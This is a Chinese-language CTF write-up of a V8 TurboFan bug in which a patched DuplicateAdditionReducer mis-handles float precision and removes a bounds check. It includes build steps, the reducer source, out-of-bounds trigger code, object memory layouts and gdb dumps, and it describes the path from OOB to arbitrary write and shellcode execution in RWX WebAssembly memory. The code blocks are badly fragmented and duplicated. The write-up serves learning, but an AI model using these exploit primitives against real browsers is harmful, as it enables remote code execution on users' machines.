注:资料下载地址见参考资料
这篇文章是我第一次接触V8的漏洞分析,从环境搭建开始,分析了题目中提供的代码,对涉及到的javascript和v8知识点进行了简单介绍,同时针对存在的OOB漏洞,从最终目的——写入执行shellcode——倒退分析,最终一步步达到目标,并与saelo大神提出的addrof和fakeobj概念进行了对照介绍。
除此之外,本文也提供了一种无需FQ就能够进行v8编译安装的方法:我在按照官网的步骤编译v8的时候总是因为网络不稳的原因fetch失败,几番搜索也没有找到好的方法,后来忘记在哪篇文章中看到node是自带v8的,因此想到了文中的方法,只需要简单的修改,就能实现对于v8代码的修改、编译和安装。
本文对于有经验的人来说可能颇为啰嗦,但是很适合初学者,逻辑上讲,如果你能够跟随本文的步骤,并理解其中的内容,就可以像我入门v8漏洞分析了。
确定v8版本
本来Github项目里面是提供了对应的chromium版本的编辑脚本的,但是VPN的网络状态一直不稳定,我在fetch的时候一直没有成功。因此我使用了一些小技巧来安装对应版本的v8。
之前已经把项目中提供的ubuntu virtualbox镜像下载下来了,通过chrome://version查看对应的v8版本是V8 7.0.276.3,
下载对应的node
在https://nodejs.org/en/download/releases/ 这里找到对应的node版本,下载其源码:
(可选)根据需求对v8进行修改
进入目录node-v11.1.0/deps/v8中,执行
打开文件/home/test/node-v11.1.0/deps/v8/v8.gyp,第486行列出了一系列的sources文件目录,在其中添加两项:
编译&安装
最后回到node根目录,下载依赖项(这个版本的node需要python2.6/2.7),编译node
此时我们就可以把node指令当作d8来使用了。
注意上面是编译debug版本的方法,这样在使用%DebugPrint
的时候可以获得更多信息。在下面的分析过程中,我同时编译了release和debug两个版本,无论如何,编译得到的可执行程序都放在了out
目录下,debug版本在Debug
文件夹中,release版本在Release
文件夹中,只要最终把需要的可执行文件放在/usr/local/bin
里面,并做好区分就可以了。
关于turbolizer
以上的编译安装都发生在我下载的ubuntu virtualbox镜像中,因为虚拟机的速度有些慢,所以我在主机上也安装了一版node,用于和漏洞细节无关的测试以及turbolizer的使用。
turbolizer所在目录:C:\Users\【用户名】\AppData\Roaming\npm\node_modules\turbolizer
在目录下执行:python -m SimpleHTTPServer
,就可以在浏览器通过127.0.0.1:8000使用turbolizer了。
在addition-reducer.patch文件中可以看到这个题目在TypedLoweringPhase阶段添加了一个DuplicateAdditionReducer,duplicate-addition-reducer.cc 的主体代码如下:
可以看到,当node的操作类型是kNumberAdd
的时候,会执行ReduceAddition
对当前节点进行处理,从ReduceAddition
的代码可以看出一共分成了四种情况:
其中第四种情况会发生reduce:
那么上面这样的reduce会导致怎样的问题出现呢?想要知道这一点,首先要了解javascript中的数据表示。
在javascript中,数字只有一种类型(Number),它并不像C那样有int、short、long、float、double等类型,所有的数字都采用IEEE754标准定义的64位浮点格式表示。其格式为:
使用以下公式转换成真实的数值:
在表达整数的时候,以上格式可以表示的最大安全整数为:
也就是:
那么如果在这个最大值上再加1会发生什么呢?
准确的说,根据参考资料3,IEEE 754标准在2^52~2^53之间的精度是1,在2^53~2^54之间精度是2(只能表示偶数),在2^51~2^52之间精度是0.5,以此类推。
虽然在上面的二进制表示中,max_value+2得到的二进制结果转换为十进制是9007199254740994
,但这并不是在javascript中的实际结果。因为IEEE 754无法表示9007199254740993
这个值,因此9007199254740991 + 2
在javascript中由于精度丢失,得到的结果是9007199254740992
。
如果对以下代码进行优化(这里我使用的仍旧是普通版本的v8):
在Turbolizer中得到sea of nodes:
可以看到javascript无法对9007199254740992
进行递增,得到的永远都是同样的值,而直接+2则可以得到正确的数值。
也就是说,当pareng_left
的数值是Number.MAX_SAFE_INTEGER + 1
的时候,下图中的reduce是错误的:
根据上面的推断,当数值处于9007199254740992
这个临界点的时候,DuplicateAdditionReducer
的做法会出现问题。那么这会导致什么结果呢?先写一段简单的代码:
首先定义函数try1
,其中包含了:
执行上述代码,得到:
说明try1(true)
确实发生了越界读。
我们可以在turbolizer中直观的看到问题所在,在typer阶段,经过两次SpeculativeNumberAdd操作之后,结果的最大值仍旧为9007199254740992
而到了typed lowering阶段,经过DuplicateAdditionReducer
之后,可以看到原本的两个SpeculativeNumberAdd
被简化成了一个NumberAdd
,加数变成了2,但是结果并没有更新,因此最后的CheckBound
得到的索引边界范围仍旧在[1,2]
之间。
到达escape analysis阶段的时候,可以看到CheckBound
节点的索引是Range(1,2)
,长度是Range(4,4)
:
而紧接着的simplified lowering阶段会对CheckBound节点进行检查:
注意到上面代码中的判断(index_type.Min() >= 0.0 && index_type.Max() < length_type.Min())
,如果这个条件成立,CheckBound节点就会被替换掉。而在此例中,index_type.Max()==2
,length_type.Min()==4
,条件成立。
因此经过simplified lowering,得到:
可以看到减法操作之后的CheckBound节点已经不见了,而TurboFan仍旧认为数组的索引范围最大值为2。
之前的代码可以看成一个基础模板:
必须要保证以下条件:
因此该模板下,可以读取到的最大偏移(9007199254740994-start_value
)是5:
结果:
那么要如何扩大读取的范围呢?
在3.1小结关于IEEE 754标准的介绍中,我们提到它的精度问题,“IEEE 754标准在2^52~2^53之间的精度是1,在2^53~2^54之间精度是2(只能表示偶数)”,可以想见,当数值范围在2^54~2^55的时候,它的精度应该是4:
因此我们可以通过增大数值的方式扩大可读写范围。或者,在参考资料2中,也提到可以通过乘法的方式扩大这一范围:
通过上面的手段,理论上来讲我们可以读写bug_arr数组后的任意空间数据。但是如何利用这一能力呢?
参考资料5,6
在进行具体的调试分析之前,需要对v8中表示javascript对象的方式有所了解。
在v8中,所有的javascript值无论类型如何,都用对象表示,并且保存在堆中,这样就可以使用指针的方式索引所有值。但是存在一种情况,就是在短时间内使用频率特别高的小的整数,例如循环中使用的索引值。为了避免每次使用的时候都重新分配一个新的number对象,V8使用了一种叫做pointer tagging的技巧来处理这种情况。
具体来说,V8使用两种形式表示javascript中的值,一种叫做Smi(Samll Integer),一种叫做HeapObject。
在64位的机器上,Smi的最低位固定为0,高32位用于表示真正的数值,其余位为0;HeapObject的最低位固定为1,其余的63位用来存放地址。
正是由于这种机制,在下面调试分析的过程中就出现了需要将地址减1的情况。
参考资料5,9
每次在javascript中使用var arr = []
或者var arr = new Array()
的时候,就会创建一个JSArray对象以及一个FixedArray或者FixedDoubleArray对象。如果数组中的元素是整数,就创建FixedArray,否则创建FixedDoubleArray。可以把JSArray看作是数组的头部,而FixedArray/FixedDoubleArray中保存了真正的数组元素。这三个结构在内存中的构成如下:
在JSArray和FixedArray中分别存在一个length属性,FixedArray中的length属性相当于数组的capacity,是系统为数组预分配的空间大小,而真正和代码中的索引值相关的是存在于JSArray中的length属性。
除了上面的这三种对象之外,每次在javascript中使用var buf = new ArrayBuffer(3)
的时候,就会创建一个JSArrayBuffer对象。与JSArray不同之处在于,ArrayBuffer中存在一个叫做backing pointer的东西:
注意到这里面既有一个Pointer to Elements,也有一个Pointer to Backing Store,前者和JSArray中的意义相同,而backing pointer所指向的虽然也是数组中的数据,但是它所指向的内容是纯二进制数据,不具备类型信息。因此在使用的时候,可以通过typed array objects或者DataView用具体的数据类型表达ArrayBuffer中的数据。这一特性也对接下来的漏洞利用十分有帮助。
倒推:执行shellcode ← 找到一块可执行内存并写入shellcode ← WebAssembly函数代码所在内存可执行 ← 获取函数对象所在地址 + 写入shellcode
根据上面的倒退,我们需要具有获取对象地址 以及任意写(读) 的能力。
此次分析的漏洞让我们可以读写bug_arr
数组后可变长的一段内存,所以:
那么我们要怎么做呢?
在获取能力之前,我们需要先对OOB进行优化,因为目前这种通过小心构造数值,利用漏洞访问数组范围外数据的方式十分复杂,无法灵活地进行数据访问。
因此我们可以在bug_arr
后再定义一个数组(oob_arr
),利用漏洞访问并修改oob_arr
中JSArray的length属性,之后,就可以通过oob_arr[idx]
的方式访问到oob_arr
后面的大片数据了。这种通过索引进行访问的方式显然十分便捷。
下面通过调试的方式确定这一方法的可行性。
数值转换借用了参考资料2中的方法:
执行上面的脚本,得到输出:
这里我没有使用debug版本,因为只需要JSArray的地址就可以了。
然后使用gdb调试,检查0x3e7e89d3c159-1
处的数据(注意这里由于pointer tagging,进行了减1操作):
有了前面前置知识的介绍,我们知道bug_arr
数组元素位于0x00001ca19adc6409-1
的位置:
注意到bug_arr
和oob_arr
在内存中是彼此紧邻的,这样当bug_arr
的长度为5,而我们获得的索引值是6时,就会读取到bug_arr
数组末尾的第二个元素,也就是oob_arr
FixedDoubleArray中的length属性。
而oob_arr
的JSArray位于FixedDoubleArray的后面,我们需要覆盖更远的范围。
根据上面的调试输出,要覆写的length属性距离bug_arr
的起始元素的偏移为bug_arr.length + 2 + oob_arr.length + 3
,必须合理设置代码中的数值,才能让程序正好覆盖到length属性上:
得到输出结果:
注意到oob_arr
的长度已经变成了100。现在我们可以很方便的通过oob_arr
索引后面的数据了。
正如之前所说,只要把对象放在oob_arr数组后面,就可以通过漏洞获取到该对象的地址。为了方便定位,我们在对象前面放置一个MARKER,两者组合放在一个数组中。
得到输出:
通过调试查看其内存:
可以看到这段代码确实输出了对象的地址0x0000356298e93df1 - 1
前面说过了,这个能力需要在oob_arr后面放一个指针,然后通过修改指针来实现“任意地址”读写的功能。理论上来说,指针的实现可以通过各种数组实现,因为它们在偏移0x10的位置都有一个Pointer to Elements。但是这里我们选择ArrayBuffer,因为它有backing pointer,这个指针指向的内存是纯二进制数据,可以按照各种数据形式进行访问,十分方便。
我们可以通过oob_arr[idx]
把可执行内存的地址赋值给backing pointer,然后再利用typed array objects访问backing pointer指向的内存,按照自己想要的格式写入shellcode。
代码如下:
得到输出:
由于对Math对象的map进行了篡改,修改成了非法的值,因此引用的时候发生了错误。
在调试器中查看内存:
可以看到位于obj_arr[1]
的对象地址0x000007bfc3593df1
所指向的内存,首位确实被修改成了0x4141414141414141
。
到目前为止我们已经具有了获取对象地址以及向任意地址写数据的能力,接下来需要确定的是向哪里写数据。
根据参考资料8,v8的JIT代码页有一个写保护,它会根据标志位在RW和RX权限之间转换,因此无法用shellcode覆盖已编译的函数代码页。
但是除了javascript之外,v8还会编译WebAssembly,而它的代码页的写保护默认是关闭的,因此已编译的WebAssembly代码页具有RWX权限。
参考资料10提供了一个网页 ,可以把你编写的C语言代码转换为WebAssembly,生成对应的二进制文件,并提供了加载执行这段二进制代码的方法:
但是我们想要的可执行内存并不是f的地址,按照参考资料8,它的结构是这样的:
之后jump table start + function index
就会到达这个函数的jump table entry,它指向的就是RWX的内存,也是这个函数的入口点。
由于我们这里只有一个函数,因此只要获得jump table start address就可以了,它的首位就保存了函数的入口点,也就是可执行内存的地址。
参考资料2就是预先确定了这几个位置的偏移,然后不断地读取数据,最终得到可执行内存的地址;而参考资料10直接通过WasmInstanceObject pointer获得jump table start address。
上面所示结构以及各个数据的偏移(首位偏移为0)可以这样得到:
首先是一些头部信息大小:
然后从JS_FUNCTION
结构开始看:
可以看到kSharedFunctionInfoOffset
在首位,再加上前面的JSObject::kHeaderSize
,kSharedFunctionInfoOffset
的偏移是3。
kFunctionDataOffset
在第二位,但是第一位的大小是0,所以实际应该是在第一位,再加上前面的HeapObject::kHeaderSize
,kFunctionDataOffset
的偏移是1。
kInstanceOffset
在第二位,再加上前面的HeapObject::kHeaderSize
,kInstanceOffset
的偏移是2。
kJumpTableStartOffset
在第28位,因为前面有一个大小为0,所以实际上是在第27位,再加上前面的JSObject::kHeaderSize
,kJumpTableStartOffset
的偏移是29。
整理偏移值得到:
代码:
得到输出:
在调试器中查看0x15e5d1c8141
内存,并根据前面得到的偏移值跟随验证:
可以看到最终得到的数值0x00001b3e42795000
确实是一个4KB对齐的地址。
我在最初实验的时候,还没有认真进行上面的分析,只是按照参考资料10的方法,先通过%DebugPrint
输出WasmInstanceObject
的地址,然后在调试器中查看其后的大片内存,找到4KB对齐的地址(十六进制时低三位均为0)所在的偏移,然后直接确定了jump table start address。
代码如下:
输出结果:
输出结果正常!
接下来这事儿就很简单了,我们已经知道怎么获取对象地址,怎么读写任意地址,也知道要写入的位置,只要把所有东西凑到一起就可以了。
这次给出完整的代码:
成功弹出计算器:
saelo的文章 详细地介绍了如何对OOB类型的漏洞进行利用,提到了通过fakeobj和addrof原语实现任意地址读写(addrof原语接收一个对象参数并返回其地址,fakeobj原语接收一个地址参数并返回一个位于该地址的假的对象),从而写入shellcode并执行。由于这篇文章针对的是Webkit的引擎JavaScriptCore,我对此并不十分了解,因此没有仔细看这篇文章,也就没放在参考资料中。
参考资料10中对于该利用方法在v8上的应用给出了很好的示例介绍,这篇资料中专门定义了addrof和fakeobj函数,然后通过这两个函数又定义了任意读和任意写函数,个人觉得是这种漏洞利用方法的模板化范例了。
不过由于此次分析的漏洞特性,不需要也不方便单独定义出fakeobj和addrof函数式。一方面这次的漏洞需要很精细地挑选数值,实现一次OOB,虽然OOB的长度可变,但每组确定的数值导致的OOB长度是固定的,这种情况下单独定义函数写出来的代码会很乱;另一方面,由于这次漏洞可以覆盖bug_arr
数组后可变长的一段内存,我们可以直接利用这一点覆盖后方数组的长度属性,从而获得一种更灵活的OOB访问方式,最终也实现了类似addrof和fakeobj的功能,从而实现了任意地址读写。
具体来说,代码中的addrof部分很明显,就是下面这段代码:
将想要获得地址的对象放在oob_arr后方的一个固定位置,然后通过越界读就可以获得其地址了。
fakeobj的功能不太明显,它并不是一段代码,而是buf_arr本身,可以说buf_arr就是一个fake object。因为每次我们想在某个地址上读写数据的时候,就用这个地址替换buf_arr的backing pointer,这样就算是得到了一个“假的”对象了,然后再通过typed array objects对目标地址进行读写:
这次的漏洞分析花费了我近一个月的时间,一开始想要分析的并不是这个CTF题目,而是一个V8的CVE漏洞,结果发现自己什么都不懂,然后就从参考资料一路点击,最终定位到了这道题目。
除了基础资料之外,看的第一篇针对性文章是参考资料2,然后就陷入了fakeobj的怪圈(那时候我还不知道这是什么东西),最终通过参考资料10的解释才逐渐理出头绪,虽然方法相同,但是你会发现我的代码和参考资料2还是有很大差别的。我之所以添加了最后的4.8小节,一个很重要的原因就是要把一开始我的疑惑给理清楚。
在阅读这些参考资料的过程中,我发现saelo的文章 真的是一座里程碑,所有OOB的漏洞最后都提到了这篇文章,因此一定要把它加到我的待阅清单里。
最后十分感谢参考资料中的所有文章作者。
如果内容有错误,欢迎指正 (^_^ )
wget https:
/
/
nodejs.org
/
download
/
release
/
v11.
1.0
/
node
-
v11.
1.0
.tar.gz
-
-
no
-
check
-
certificate
tar
-
xf node
-
v11.
1.0
.tar.gz
wget https:
/
/
nodejs.org
/
download
/
release
/
v11.
1.0
/
node
-
v11.
1.0
.tar.gz
-
-
no
-
check
-
certificate
tar
-
xf node
-
v11.
1.0
.tar.gz
git
apply
~
/
attachments
/
addition
-
reducer.patch
git
apply
~
/
attachments
/
addition
-
reducer.patch
sudo apt install g
+
+
python make
sudo .
/
configure
-
-
debug
sudo make
-
j4
sudo make install PREFIX
=
/
opt
/
node
-
debug
/
sudo cp
-
a
-
f out
/
Debug
/
node
/
opt
/
node
-
debug
/
node
sudo apt install g
+
+
python make
sudo .
/
configure
-
-
debug
sudo make
-
j4
sudo make install PREFIX
=
/
opt
/
node
-
debug
/
sudo cp
-
a
-
f out
/
Debug
/
node
/
opt
/
node
-
debug
/
node
DuplicateAdditionReducer::DuplicateAdditionReducer(Editor
*
editor, Graph
*
graph,
CommonOperatorBuilder
*
common)
: AdvancedReducer(editor),
graph_(graph), common_(common) {}
Reduction DuplicateAdditionReducer::
Reduce
(Node
*
node) {
switch (node
-
>opcode()) {
case IrOpcode::kNumberAdd:
return
ReduceAddition(node);
default:
return
NoChange();
}
}
Reduction DuplicateAdditionReducer::ReduceAddition(Node
*
node) {
DCHECK_EQ(node
-
>op()
-
>ControlInputCount(),
0
);
DCHECK_EQ(node
-
>op()
-
>EffectInputCount(),
0
);
DCHECK_EQ(node
-
>op()
-
>ValueInputCount(),
2
);
Node
*
left
=
NodeProperties::GetValueInput(node,
0
);
if
(left
-
>opcode() !
=
node
-
>opcode()) {
return
NoChange();
}
Node
*
right
=
NodeProperties::GetValueInput(node,
1
);
if
(right
-
>opcode() !
=
IrOpcode::kNumberConstant) {
return
NoChange();
}
Node
*
parent_left
=
NodeProperties::GetValueInput(left,
0
);
Node
*
parent_right
=
NodeProperties::GetValueInput(left,
1
);
if
(parent_right
-
>opcode() !
=
IrOpcode::kNumberConstant) {
return
NoChange();
}
double const1
=
OpParameter<double>(right
-
>op());
double const2
=
OpParameter<double>(parent_right
-
>op());
Node
*
new_const
=
graph()
-
>NewNode(common()
-
>NumberConstant(const1
+
const2));
NodeProperties::ReplaceValueInput(node, parent_left,
0
);
NodeProperties::ReplaceValueInput(node, new_const,
1
);
return
Changed(node);
}
DuplicateAdditionReducer::DuplicateAdditionReducer(Editor
*
editor, Graph
*
graph,
CommonOperatorBuilder
*
common)
: AdvancedReducer(editor),
graph_(graph), common_(common) {}
Reduction DuplicateAdditionReducer::
Reduce
(Node
*
node) {
switch (node
-
>opcode()) {
case IrOpcode::kNumberAdd:
return
ReduceAddition(node);
default:
return
NoChange();
}
}
Reduction DuplicateAdditionReducer::ReduceAddition(Node
*
node) {
DCHECK_EQ(node
-
>op()
-
>ControlInputCount(),
0
);
DCHECK_EQ(node
-
>op()
-
>EffectInputCount(),
0
);
DCHECK_EQ(node
-
>op()
-
>ValueInputCount(),
2
);
Node
*
left
=
NodeProperties::GetValueInput(node,
0
);
if
(left
-
>opcode() !
=
node
-
>opcode()) {
return
NoChange();
}
Node
*
right
=
NodeProperties::GetValueInput(node,
1
);
if
(right
-
>opcode() !
=
IrOpcode::kNumberConstant) {
return
NoChange();
}
Node
*
parent_left
=
NodeProperties::GetValueInput(left,
0
);
Node
*
parent_right
=
NodeProperties::GetValueInput(left,
1
);
if
(parent_right
-
>opcode() !
=
IrOpcode::kNumberConstant) {
return
NoChange();
}
double const1
=
OpParameter<double>(right
-
>op());
double const2
=
OpParameter<double>(parent_right
-
>op());
Node
*
new_const
=
graph()
-
>NewNode(common()
-
>NumberConstant(const1
+
const2));
NodeProperties::ReplaceValueInput(node, parent_left,
0
);
NodeProperties::ReplaceValueInput(node, new_const,
1
);
return
Changed(node);
}
max_value
=
1
*
(
1
+
0.1111
...
1111
)
*
2
^
52
/
/
小数点后有
52
个
'1'
max_value
=
1
*
(
1
+
0.1111
...
1111
)
*
2
^
52
/
/
小数点后有
52
个
'1'
d8> Math.
pow
(
2
,
53
)
-
1
9007199254740991
d8> Math.
pow
(
2
,
53
)
-
1
9007199254740991
/
/
max_value的二进制表示
/
/
1
*
2
^(
1075
-
1023
)
*
1.1111
...
1111b
=
11111.
..
11111b
(
53
-
bit)
=
9007199254740991
1
10000110011
1111111111111111111111111111111111111111111111111111
/
/
max_value
+
1
/
/
1
*
2
^(
1076
-
1023
)
*
1.0b
=
2
^
53
=
9007199254740992
1
10000110100
0000000000000000000000000000000000000000000000000000
/
/
max_value
+
2
/
/
1
*
2
^(
1076
-
1023
)
*
1.0000
...
0001b
=
10000.
..
00010b
(
54
-
bit)
=
2
^
53
+
2
=
9007199254740994
1
10000110100
0000000000000000000000000000000000000000000000000001
/
/
max_value的二进制表示
/
/
1
*
2
^(
1075
-
1023
)
*
1.1111
...
1111b
=
11111.
..
11111b
(
53
-
bit)
=
9007199254740991
1
10000110011
1111111111111111111111111111111111111111111111111111
/
/
max_value
+
1
/
/
1
*
2
^(
1076
-
1023
)
*
1.0b
=
2
^
53
=
9007199254740992
1
10000110100
0000000000000000000000000000000000000000000000000000
/
/
max_value
+
2
/
/
1
*
2
^(
1076
-
1023
)
*
1.0000
...
0001b
=
10000.
..
00010b
(
54
-
bit)
=
2
^
53
+
2
=
9007199254740994
1
10000110100
0000000000000000000000000000000000000000000000000001
function opt_me() {
let x
=
Number.MAX_SAFE_INTEGER
+
1
;
let y
=
x
+
1
+
1
;
let z
=
x
+
2
;
return
(y, z);
}
for
(var i
=
0
; i <
0x1000000
;
+
+
i) {
opt_me(i);
}
function opt_me() {
let x
=
Number.MAX_SAFE_INTEGER
+
1
;
let y
=
x
+
1
+
1
;
let z
=
x
+
2
;
return
(y, z);
}
for
(var i
=
0
; i <
0x1000000
;
+
+
i) {
opt_me(i);
}
function try1(x) {
let bug_arr
=
[
1.1
,
2.2
,
3.3
,
4.4
];
let y
=
(x ?
9007199254740992
:
9007199254740989
)
y
=
y
+
1
+
1
;
y
=
y
-
9007199254740990
;
return
bug_arr[y];
}
for
(var i
=
0
; i <
0x1000000
;
+
+
i) {
try1(false);
}
console.log(try1(true));
function try1(x) {
let bug_arr
=
[
1.1
,
2.2
,
3.3
,
4.4
];
let y
=
(x ?
9007199254740992
:
9007199254740989
)
y
=
y
+
1
+
1
;
y
=
y
-
9007199254740990
;
return
bug_arr[y];
}
for
(var i
=
0
; i <
0x1000000
;
+
+
i) {
try1(false);
}
console.log(try1(true));
root@test
-
vm:
/
home
/
test
/
ctf2018
2.107088725459e
-
311
root@test
-
vm:
/
home
/
test
/
ctf2018
2.107088725459e
-
311
/
/
simplified
-
lowering.cc
void VisitNode(Node
*
node, Truncation truncation,
SimplifiedLowering
*
lowering) {
...
case IrOpcode::kCheckBounds: {
const CheckParameters& p
=
CheckParametersOf(node
-
>op());
Type
index_type
=
TypeOf(node
-
>InputAt(
0
));
Type
length_type
=
TypeOf(node
-
>InputAt(
1
));
if
(index_type.Is(
Type
::Integral32OrMinusZero())) {
/
/
Map
-
0
to
0
,
and
the values
in
the [
-
2
^
31
,
-
1
]
range
to the
/
/
[
2
^
31
,
2
^
32
-
1
]
range
, which will be considered out
-
of
-
bounds
/
/
as well, because the {length_type}
is
limited to Unsigned31.
VisitBinop(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kWord32);
if
(lower() && lowering
-
>poisoning_level_
=
=
PoisoningMitigationLevel::kDontPoison) {
if
(index_type.IsNone() || length_type.IsNone() ||
(index_type.
Min
() >
=
0.0
&&
index_type.
Max
() < length_type.
Min
())) {
/
/
The bounds check
is
redundant
if
we already know that
/
/
the index
is
within the bounds of [
0.0
, length[.
DeferReplacement(node, node
-
>InputAt(
0
));
}
}
}
else
{
VisitBinop(
node,
UseInfo::CheckedSigned32AsWord32(kIdentifyZeros, p.feedback()),
UseInfo::TruncatingWord32(), MachineRepresentation::kWord32);
}
return
;
}
...
}
/
/
simplified
-
lowering.cc
void VisitNode(Node
*
node, Truncation truncation,
SimplifiedLowering
*
lowering) {
...
case IrOpcode::kCheckBounds: {
const CheckParameters& p
=
CheckParametersOf(node
-
>op());
Type
index_type
=
TypeOf(node
-
>InputAt(
0
));
Type
length_type
=
TypeOf(node
-
>InputAt(
1
));
if
(index_type.Is(
Type
::Integral32OrMinusZero())) {
/
/
Map
-
0
to
0
,
and
the values
in
the [
-
2
^
31
,
-
1
]
range
to the
/
/
[
2
^
31
,
2
^
32
-
1
]
range
, which will be considered out
-
of
-
bounds
/
/
as well, because the {length_type}
is
limited to Unsigned31.
VisitBinop(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kWord32);
if
(lower() && lowering
-
>poisoning_level_
=
=
PoisoningMitigationLevel::kDontPoison) {
if
(index_type.IsNone() || length_type.IsNone() ||
(index_type.
Min
() >
=
0.0
&&
index_type.
Max
() < length_type.
Min
())) {
/
/
The bounds check
is
redundant
if
we already know that
/
/
the index
is
within the bounds of [
0.0
, length[.
DeferReplacement(node, node
-
>InputAt(
0
));
}
}
}
else
{
VisitBinop(
node,
UseInfo::CheckedSigned32AsWord32(kIdentifyZeros, p.feedback()),
UseInfo::TruncatingWord32(), MachineRepresentation::kWord32);
}
return
;
}
...
}
function try1(x) {
let bug_arr
=
[
1.1
,
2.2
,
3.3
,
4.4
];
let y
=
(x ?
9007199254740992
: 【normal_value】)
y
=
y
+
1
+
1
;
y
=
y
-
【start_value】;
return
bug_arr[y];
}
for
(var i
=
0
; i <
0x1000000
;
+
+
i) {
try1(false);
}
console.log(try1(true));
function try1(x) {
let bug_arr
=
[
1.1
,
2.2
,
3.3
,
4.4
];
let y
=
(x ?
9007199254740992
: 【normal_value】)
y
=
y
+
1
+
1
;
y
=
y
-
【start_value】;
return
bug_arr[y];
}
for
(var i
=
0
; i <
0x1000000
;
+
+
i) {
try1(false);
}
console.log(try1(true));
-
1
< normal_value
-
start_value
+
2
<
4
/
/
即start_value
-
3
< normal_value < start_value
+
2
-
1
<
9007199254740992
-
start_value <
4
normal_value !
=
9007199254740992
normal_value
+
2
!
=
9007199254740992
-
1
< normal_value
-
start_value
+
2
<
4
/
/
即start_value
-
3
< normal_value < start_value
+
2
-
1
<
9007199254740992
-
start_value <
4
normal_value !
=
9007199254740992
normal_value
+
2
!
=
9007199254740992
function try1(x) {
let bug_arr
=
[
1.1
,
2.2
,
3.3
,
4.4
];
let y
=
(x ?
9007199254740992
:
9007199254740989
)
y
=
y
+
1
+
1
;
y
=
y
-
9007199254740989
;
console.log(y);
return
bug_arr[y];
}
for
(var i
=
0
; i <
0x1000000
;
+
+
i) {
try1(false);
}
console.log(try1(true));
function try1(x) {
let bug_arr
=
[
1.1
,
2.2
,
3.3
,
4.4
];
let y
=
(x ?
9007199254740992
:
9007199254740989
)
y
=
y
+
1
+
1
;
y
=
y
-
9007199254740989
;
console.log(y);
return
bug_arr[y];
}
for
(var i
=
0
; i <
0x1000000
;
+
+
i) {
try1(false);
}
console.log(try1(true));
root@test
-
vm:
/
home
/
test
/
ctf2018
2.9570928586621e
-
310
root@test
-
vm:
/
home
/
test
/
ctf2018
2.9570928586621e
-
310
d8> x
=
Math.
pow
(
2
,
54
)
18014398509481984
d8> x
+
2
+
2
18014398509481984
d8> x
+
4
18014398509481988
d8> x
=
Math.
pow
(
2
,
54
)
18014398509481984
d8> x
+
2
+
2
18014398509481984
d8> x
+
4
18014398509481988
d8> x
=
Math.
pow
(
2
,
53
)
9007199254740992
d8>
10
*
(x
+
1
+
1
)
90071992547409920
d8>
10
*
(x
+
2
)
90071992547409940
d8> x
=
Math.
pow
(
2
,
53
)
9007199254740992
d8>
10
*
(x
+
1
+
1
)
90071992547409920
d8>
10
*
(x
+
2
)
90071992547409940
/
/
JSArray
0x00
: Pointer to
Map
0x08
: Pointer to Outline Properties
0x10
: Pointer to Elements
0x18
: Length
/
/
FixedArray, FixedDoubleArray
0x00
: Pointer to
Map
0x08
: Length
0x10
: Element
1
0x18
: Element
2
0x20
: ...
/
/
JSArray
0x00
: Pointer to
Map
0x08
: Pointer to Outline Properties
0x10
: Pointer to Elements
0x18
: Length
/
/
FixedArray, FixedDoubleArray
0x00
: Pointer to
Map
0x08
: Length
0x10
: Element
1
0x18
: Element
2
0x20
: ...
/
/
JSArrayBuffer
0x00
: Pointer to
Map
0x08
: Pointer to Outline Properties
0x10
: Pointer to Elements
0x18
: Length
0x20
: Pointer to Backing Store
0x28
: ...
/
/
JSArrayBuffer
0x00
: Pointer to
Map
0x08
: Pointer to Outline Properties
0x10
: Pointer to Elements
0x18
: Length
0x20
: Pointer to Backing Store
0x28
: ...
let ab
=
new ArrayBuffer(
8
);
let fv
=
new Float64Array(ab);
let dv
=
new BigUint64Array(ab);
let f2i
=
(f)
=
> {
fv[
0
]
=
f;
return
dv[
0
];
}
function tohex(v) {
return
(v).toString(
16
).padStart(
16
,
"0"
);
}
function output(idx, value, a) {
console.log(
"Index is "
+
idx);
console.log(
"Array length is "
+
a.length);
console.log(
"Value is "
+
tohex(f2i(value)));
}
function try2(x) {
let bug_arr
=
[
1.1
,
2.2
,
3.3
,
4.4
,
5.5
];
oob_arr
=
[
6.6
,
7.7
,
8.8
];
let y
=
(x ?
18014398509481984
:
18014398509481978
)
y
=
y
+
2
+
2
;
y
=
y
-
18014398509481982
;
let v
=
bug_arr[y];
if
(x) {
output(y, v, bug_arr);
%
DebugPrint(bug_arr);
%
DebugPrint(oob_arr);
}
return
v;
}
for
(var i
=
0
; i <
0x1000000
;
+
+
i) {
try1(false);
}
console.log(try1(true));
while
(
1
) {}
let ab
=
new ArrayBuffer(
8
);
let fv
=
new Float64Array(ab);
let dv
=
new BigUint64Array(ab);
let f2i
=
(f)
=
> {
fv[
0
]
=
f;
return
dv[
0
];
}
function tohex(v) {
return
(v).toString(
16
).padStart(
16
,
"0"
);
}
function output(idx, value, a) {
console.log(
"Index is "
+
idx);
console.log(
"Array length is "
+
a.length);
console.log(
"Value is "
+
tohex(f2i(value)));
}
function try2(x) {
let bug_arr
=
[
1.1
,
2.2
,
3.3
,
4.4
,
5.5
];
oob_arr
=
[
6.6
,
7.7
,
8.8
];
let y
=
(x ?
18014398509481984
:
18014398509481978
)
y
=
y
+
2
+
2
;
y
=
y
-
18014398509481982
;
let v
=
bug_arr[y];
if
(x) {
output(y, v, bug_arr);
%
DebugPrint(bug_arr);
%
DebugPrint(oob_arr);
}
return
v;
}
for
(var i
=
0
; i <
0x1000000
;
+
+
i) {
try1(false);
}
console.log(try1(true));
while
(
1
) {}
root@test
-
vm:
/
home
/
test
/
ctf2018
Index
is
6
Array length
is
5
Value
is
0000000300000000
0x3e7e89d3c159
<JSArray[
5
]>
0x12b40ca86829
<JSArray[
3
]>
6.365987373e
-
314
root@test
-
vm:
/
home
/
test
/
ctf2018
Index
is
6
Array length
is
5
Value
is
0000000300000000
0x3e7e89d3c159
<JSArray[
5
]>
0x12b40ca86829
<JSArray[
3
]>
6.365987373e
-
314
(gdb) x
/
20gx
0x3e7e89d3c159
-
1
0x3e7e89d3c158
:
0x00000034b0f02931
0x00001cf6cec02d29
/
/
bug_arr JSArray: pointer to
map
, pointer to outline properties
0x3e7e89d3c168
:
0x000012b40ca867c9
0x0000000500000000
/
/
bug_arr JSArray: pointer to elements, length
0x3e7e89d3c178
:
0x00001cf6cec02539
0x000000005dc15cda
0x3e7e89d3c188
:
0x0000000900000000
0x7369207865646e49
0x3e7e89d3c198
:
0x0000000000000020
0x00001cf6cec02539
0x3e7e89d3c1a8
:
0x000000004c3556ba
0x0000001000000000
0x3e7e89d3c1b8
:
0x656c207961727241
